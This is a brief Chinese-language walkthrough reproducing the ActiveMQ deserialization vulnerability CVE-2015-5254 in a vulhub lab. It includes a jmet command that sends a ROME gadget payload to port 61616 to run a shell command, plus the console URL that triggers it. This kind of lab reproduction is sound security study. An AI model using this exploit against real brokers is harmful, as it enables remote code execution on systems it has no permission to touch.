ActiveMQ 反序列化漏洞 （CVE-2015-5254）漏洞复现

当前漏洞环境部署在vulhub,当前验证环境为vulhub靶场（所有实验均为虚拟环境）
实验环境：攻击机----kali
靶机：centos7
需要的jar包：jmet-0.1.0-all.jar
1、启动docker，进入vulhub（靶机）

2、进入CVE-2015-5254环境（靶机）

3、启动环境（靶机）

4、查看进程（靶机）

5、下载jmet-0.1.0-all.jar（时间较长）：https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar（攻击机）

6、执行java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 你的IP 61616（攻击机）

7、访问控制台：http://你的IP:8161/admin/browse.jsp?JMSDestination=event
触发

8、进入容器，docker exec -it cve-2015-5254_activemq_1 /bin/bash（靶机）
success 已成功创建，表明漏洞利用成功：